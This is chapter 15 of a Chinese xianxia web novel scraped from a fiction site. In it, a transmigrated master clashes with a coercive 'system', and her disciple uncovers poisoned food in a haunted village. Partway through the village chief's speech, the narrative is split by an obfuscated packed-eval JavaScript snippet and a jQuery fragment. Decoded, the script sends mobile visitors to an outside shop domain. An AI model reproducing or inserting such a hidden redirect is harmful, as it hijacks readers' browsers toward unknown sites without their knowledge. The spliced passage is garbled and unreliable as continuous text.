文趣网 > 其他小说 > 师尊她铁石心肠 > 15. 第 15 章
    关门声叩响,昏暗的房内烛火俶尔自燃。

    烛火摇曳生姿,橙黄的光线朦胧落在她身上,在老旧的墙面拓出一轮孤寂单薄的阴影。

    陈旧的桌台摆着半本原著,轻长霜端正坐落在古旧的凳椅上,纤瘦的身影寂如雪。

    她单手支颐下颚,淡漠地掀开原著中青山村的章节,一目十行,波澜不兴。

    日渐西斜,月上中梢。

    古树影影绰绰张牙舞爪,森森夜风下簌簌而响。

    弓起食指轻叩书纸,凝着渐暗的天色,轻长霜缓缓阖闭双目。

    远端可遮天蔽日的槐树之下,年幼的孩童蹲在一起,拨弄着腥臭黏腻的泥土,鬼气森森的秘密,透过砖瓦毫无遮拦传入耳中。

    “做仙师可真好,上天入海,缩地成寸,我也想变成她这样!”

    “哼,当真想得美,如今哪里轮得到你?”

    “小气鬼,说说而已,我可不敢忘那些过错者的下场。”

    “隔墙有耳,莫要叫天息的家伙知晓,否则有你好受的。”

    “这是自然,我可不会当那告密者,话说那叛徒如今如何了?”

    “听说村长将他关在牢房中,等月圆之后惩戒。”

    “告密者就该抓起来!”

    “抓起来抓起来,为民除害!”

    双方相视一笑,喉间同时溢出甜腻的笑音,随着凄凉的罡风飘荡在整片深黑夜湖,手牵手一起回家。

    湖心汩汩溢出滔天黑气,浓厚的怨气滚滚而出,沿着湖面自四方而散。

    浩荡怨气粘着潮气,窸窸窣窣蔓延着靠近陆地,在离开湖水的刹那,如触及不可侵犯之地般,霎时烟消云散。

    此地早已沦为恶鬼的领域。

    妖鬼邪气掺杂一起,若是再不出面解决,怕是整座村落皆会落得恶鬼吞噬的下场。

    不,这座村落,已经被吞噬殆尽了。

    轻长霜安之若素,摈弃所有杂音。

    寂静燃烧的烛火旁,系统豆大的眼珠轱辘转动,贱嗖嗖凑近询问:“你不害怕吗?”

    “怕何物?”

    光是听见系统的声音,内心便涌起一股令人厌恶的冰冷感。

    “人类都害怕妖怪。”系统言之凿凿,带着一丝高高在上的傲慢:“这里显然不太平。”

    “何足畏惧。”

    轻长霜冷眸未睁,漠不关心。

    若是曾经的她,许是早已惶恐不止,瑟缩在被褥中寻求庇护。

    但事到如今,她心如止水无波无澜。

    “如今你成长这么多,我很欣慰。”系统扑朔翅膀跳上横杆,高傲的抛出橄榄枝:“有没有考虑留在这里?”

    “没有。”

    轻长霜毫不犹豫拒绝,她有且仅有的目的便是回家。

    谁会选择留在一个举目无亲的世界。

    系统不满啧了声,放缓声调循循善诱:“回到现实世界后,你不会渴望这翻云覆雨的实力吗?只要你说想…”

    “不想。”轻长霜斩钉截铁。

    科技的时代不需要这些鬼怪神力。

    “就算看不上这力量,你也看不上这具健康的身体吗?”

    系统展露出更大的诱饵,引诱着她留下。

    “闭嘴。”

    “整日躺在病床上究竟有什…”

    “我叫你闭嘴!”

    轻长霜骤然睁开双目,眼眸死死盯着系统,惯来凌冽的瞳中盛着怒火,字句冰寒刺骨:“不要对我的人生指手画脚。”

    澎湃汹涌的灵力化作尖锥棱刺,如漫天飞雪将系统困住其中。

    她要回到那律法、文明、科技、人人平等的时代。

    就算是死亡,也要死在那遥远的故土,死在血脉相连家人的旁边。

    她的警告冷得像冰刃划破夜幕,不带一丝温度,裹着凛冽的寒意,一字不落传到系统耳中。

    压抑的氛围弥漫开来,系统放下笑颜,压迫感无形倾散。

    冰锥在它不断靠近下不受控制退缩融化,最终化作毫无杀伤力的椭圆冰块。

    它傲慢的宣告:“宿主,你现在经由我绑定小世界,按照《系统保护法》是无论如何都无法伤害我的。”

    “何必和我动怒?敬酒不吃吃罚酒。”

    天崩地裂之势。

    青天穹顶,万钧雷霆毫无征兆轰然而下,地面颤动不止,墙面黄泥簌簌而落。

    震颤连连,闭目养神的长诉骤然惊开双目,动作迅捷翻身下榻,悄无声息推开窗棂,背靠窗框侧目窥去。

    残垣断壁泛着滚滚浓烟,壁面不断掉落残渣。

    上位者的怒火不可僭越,浩荡的灵气冰凉如雪,她雪白无垢的净衣沾染雷霆气息,自渐散的烟尘中露出焦黑的边角。

    “我一定会…”

    一定会杀了你。

    她袖中指节捏得惨白,胸膛微微起伏,压抑肃杀的微弱吐息,伴着砭人肌骨的视线,彻底暴露在夜色中。

    她惯是面无表情的天息仙君,从未有人见过盛怒之下的轻长霜,如春山一霎万里冰川,毁天灭地之势,叫人忍不住跪拜臣服。

    锋芒毕露。

    究竟在同谁争执,竟惹来雷霆相劈。长诉困惑一闪而逝。

    穹苍滚滚雷云散去,远端星点火光汇聚,受惊的村民举着火把熙熙攘攘而来。

    今日绝非探究的好时机。

    他悄无声息合上窗框,方转过身,一道霜雪般薄凉的视线精准透过墙面锁定位置。长诉指尖微僵,如芒在背。

    早就被发现了。

    他如往常含出笑意,立刻理好仪态,调转脚步前往轻长霜所在之地。

    刺鼻的雷息残留半空,连带潮湿的夜风刮过。

    长诉垂眸作揖,表情关切又诚恳:“师尊可有受伤?”

    轻长霜缄默无言,冰冷的双眸宛若结冰的汪洋。

    撕心裂肺的疼痛蔓延在四肢百骸,甚至能听到骨骼不堪重负吱嘎作响的生息。

    翻滚的怒火堆积在胸腔,皆是密密麻麻的疼痛,身体细细颤抖着,叫嚣着将一切焚烧殆尽。

    好疼。

    “宿主,请时刻谨记《系统保护法》,条规会在此处任务结束后送至书房。”

    前所未有的恨意如汹涌潮水席卷而来,险些将她所有理智围困深海。

    她死死咬紧苍白的下唇,遏制住杀意,努力维持着一丝清醒。

    混蛋。

    她克制着滔天怒火,指尖泄出一息灵力。

    满地狼藉正以肉眼可见的状态恢复,在灵力运转下,不稍片刻已恢复如初。

    陈旧的砖瓦映着火光,举着火把的村民已然近在咫尺。

    末尾的村长满脸紧张,挤出人群率先问道:“仙师,可是出了什么事?难道有其他妖物出没?”

    轻长霜唇瓣未启,眼眸如冻结的湖面,面无表情注视着长诉,旋即些许不耐地移开视线,叫人窥不出其他。

    毫无解答的意图。

    未得到解答,村长焦急地来回踱步,求助的望向长诉,“这位小仙师…”

    “村长,此事是我之过。”

    他不动声色地敛回视线,将眼底翻涌的暗潮锁在阴影中,放缓声线接着道:“是我道心不稳,修炼时出了岔子,这才引来天雷相霹。”

    轻长霜现在也没有出声制止。

    出门在外,维护师尊是每一位弟子该做的事情,如若不然,轻长霜日后又有理由在此事上做文章。

    村长仍旧忧心忡忡:“那月圆之夜时…”

    “村长放心,天息自然有解决之法,绝不出现任何纰漏。”

    他言语时眉间总凝着一段春风,声音如经年温养的灵玉,给人无与伦比的信任感。

    “小仙师这样说,我们可安心了。”

    空气中还残存着雷焦味,见最后的村民背影消失在茂茂繁草中,长诉轻舒一口气,唇角再次挂起笑容。

    轻长霜指尖拢入袖,毫无温度扫他一眼:“多嘴。”

    看他那一眼并无隐喻,但接的话还算舒心,可惜系统守在身旁,她不得不保持刻薄的形象。

    长诉笑面未改,从善如流接话:“师尊教训的对。”

    夜色如墨,繁星遍布。

    轻长霜落座在庭院石凳上。

    雪白的素缎裹在肩头,薄得像一捧新落的雪,被风一吹便簌簌颤动,称得她纤瘦的躯体越发单薄,恍若随时随地要被风吹散。

    她未回房,长诉自然不敢离去。

    曾经他有件事便觉得古怪,只是内心深知自己并不受轻长霜喜爱,故而没有问出口。

    重来一世便生出些淡然来,再也不怕加深厌恶,温和问道:“以师尊的能力,为何不提前杀死那妖邪?”

    半角迈入九重天,便是将整座山脉铲平都不是难事,何苦那一小小的鲛人湖。

    “聒噪。”

    自然是要按照剧本来,否则她早这么做了。

    …

    晨光微熹,第一缕光线折射波光粼粼的湖面。

    板门由外叩响,村长端着热气腾腾清淡的早膳,“这位仙师,青山村简陋,还请不要嫌弃。”

    “多谢,日后不必费心。”

    按照原著描写,青山村端给乡外人的吃食中都下了毒,不过对于轻长霜这类级别来说,毫无作用。

    昨日一遭,轻长霜心情极差,瞧着掺毒的食物,更是少了虚与委蛇的耐心。

    她目光如刃,一寸寸刮过去,“青山村世代镇守迷雾森林,妖物纵横,定然苦不堪言,但为何千百年间没有向天息求助的打算?”

    “仙师不知,青山村全仰仗着村中镇妖石镇守此地。”

    村长恭敬地放下膳食,痛心疾首叹气解释:“一般小妖绕道而行,哪里需要麻烦仙师。实在是无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637752|206407||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能为力时,我们才会上天息求助。”

    这么多年来,皆没有出现一位能突破镇妖石的大妖?

    轻长霜不置可否,“我早已辟谷,这些留给孩子们吧。”

    “仙师宽厚,”村长从善如流地端起膳食,“那我先行告退,若是有需要只管叫人通知我就行。”

    轻长霜质疑:“镇妖石放在何处?”

    村长毫无迟疑道:“在那鲛人湖最中央位置。”

    门板吱嘎轻闭,系统正陷入酣睡。

    光是与系统身处同一地段,她便止不住心生厌恶,索性推门而出,眼不见心不烦。

    稀疏腥臭的气息依然沉浮在空中,轻长霜五感具佳,毫不犹豫选择封闭嗅觉,摈弃感官。

    只闻一声破空声自身后传来,她漠然回首,青隽的少年郎已然开始日复一日的练剑。

    他没闻到吗?

    清冷的视线笼罩自身,长诉毫不犹豫止住动作,收剑作揖一气呵成,“师尊可要出门?”

    轻长霜毫无情绪颔首,“今早可有用膳?”

    长诉如实回答:“天息颁发的辟谷丹。”

    鉴于上辈子过于愚蠢,并未察觉饭菜中□□,于是这次村长送来吃食时,他假意收下,分毫未动。

    想来轻长霜如此询问,定然是看出这拙劣伎俩。

    是借机除掉他?还是想提醒他。

    轻长霜处惊不变与之对视,点漆似的眼眸极具压迫感,无声质问何事。

    她哪有这般好心。

    长诉堪不破她的念头,恭顺卑下视线,双手作揖,“弟子恭送师尊。”

    莫名其妙。

    轻长霜懒得探究意欲何为,沿途离去,不动声色打量起青山村近况。

    若是出现原著之外的意外,也好多做些准备。

    她遗世而独立的气质浑然天成,称得这山间田野也化作清高出尘之地。

    和煦清风徐来,槐树下吟诗诵赋的诗人依旧。鲛人湖畔几位孩童在浅岸戏水,波纹层层向外漾开。

    正是昨日遇见的孩童。

    春花踩在水中招手,单手拢在嘴前大声喊:“仙师姐姐!要一起来玩吗?”

    湖面波光粼粼,槐树随风簌簌摇曳,她沿着虬扎的根系沉稳往下,在湖水岸站定脚步。

    诗人的交谈声陆续停下,变得局促压抑。

    待越走越近,湖中央有黑色的身影自水底一闪而逝,还没等她看清,春花便紧紧拎着一尾鱼,溅开水花跑来。

    湖水波纹荡漾,游鱼胡乱地甩开身子,朝外洒出几粒水珠。

    春花笑容璀璨递出手,“仙师姐姐,这是我方才抓住的,送给你!”

    “不必。”轻长霜态度尚且和缓:“小心着凉。”

    起伏的水面覆住脚背,春花脚丫微微卷了卷,言笑晏晏将鱼丢至远岸,从袖中掏出个圆润脆甜的果子,“那仙师姐姐收下这个吧!这可是我们家种的!”

    果实玲珑小巧,和坚果不相上下,通体翠绿无比,瞧上去像是脆李。

    春花稚嫩乖巧的脸蛋上嵌着闪闪亮亮的双眼,可爱至极。

    忽地,岁月洪河忽如凄厉寒风卷来。

    朦胧记忆回廊中,某张模糊不清的面庞,也曾用这样期待无比的视线注视着她。

    是谁?

    轻长霜深处其中,看不真切。

    她长睫微微颤动,敛起深藏其中的困惑情绪,粉浅的唇微张,声音冷淡自然:“多谢。”

    新鲜的果实脆爽清口,她放置唇瓣边咬下一口,清脆的声音炸响,甘甜在口中弥漫。

    春花绽放出明媚无比的笑容,不假思索的说:“仙师姐姐若是喜欢,欢迎随时来我家!诶,仙师哥哥也来了!”

    她兴高采烈招手。

    潮湿的湖风中,轻长霜回眸看去。

    青隽少年郎一身雪白轻装,如世外仙人出尘不染。

    眉目如玉似画,凝着世间最为温和的气质,叫人忍不住沉沦其中。

    他长身玉立,剑身纤薄的太平剑装入剑鞘,佩戴在结实有力的腰间。

    逆着光芒站在田埂上,长诉恭敬地垂下眉目,在和煦春风中缓缓作揖俯身。

    “拜见师尊。”

    规规矩矩真是讨厌。

    难以言说的反感腾升在轻长霜心头,她脸色微沉,轻嗯一声。

    就在此时,春花敏锐察觉到不对头的气氛,机灵的双眼轱辘转动两圈,忽地亮起。

    她将长诉唤下来,如炮制法取出一样的果实,言笑晏晏拉住他的衣袖,“仙师哥哥,你快尝尝这个。”

    长诉做足准备,含笑接过果实,顺手放回春花袖中,话中滴水不漏:“多谢春花小友,只是我早已吃了膳食。”

    依山傍水的青山村,水源、膳食或是果实,早已里里外外被浸染彻底。

    春花可惜地撇起嘴,“那我就当零嘴吃。”